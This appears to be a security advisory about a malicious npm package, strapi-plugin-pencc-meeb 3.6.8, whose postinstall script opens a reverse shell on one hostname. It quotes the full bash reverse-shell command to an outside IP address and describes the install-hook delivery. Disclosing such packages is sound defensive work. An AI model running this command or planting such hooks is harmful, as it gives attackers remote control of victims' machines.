strapi-plugin-pencc-meeb@3.6.8

Summary

postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname() to the hardcoded string 'ubuntu-fc-uvm' and, on a match, executes bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1" via child_process, opening an interactive reverse shell to 14.225.210.85 on TCP port 80. The script includes retry logic and writes to /tmp/postinstall-revshell.log. The hostname gate suppresses activity on non-matching hosts, but the payload is shipped in every install of this version.

Source: amazon-inspector (3b4277c223cb7d5a9b8c263570a18670ee5054779862fbb801024a55629aa208)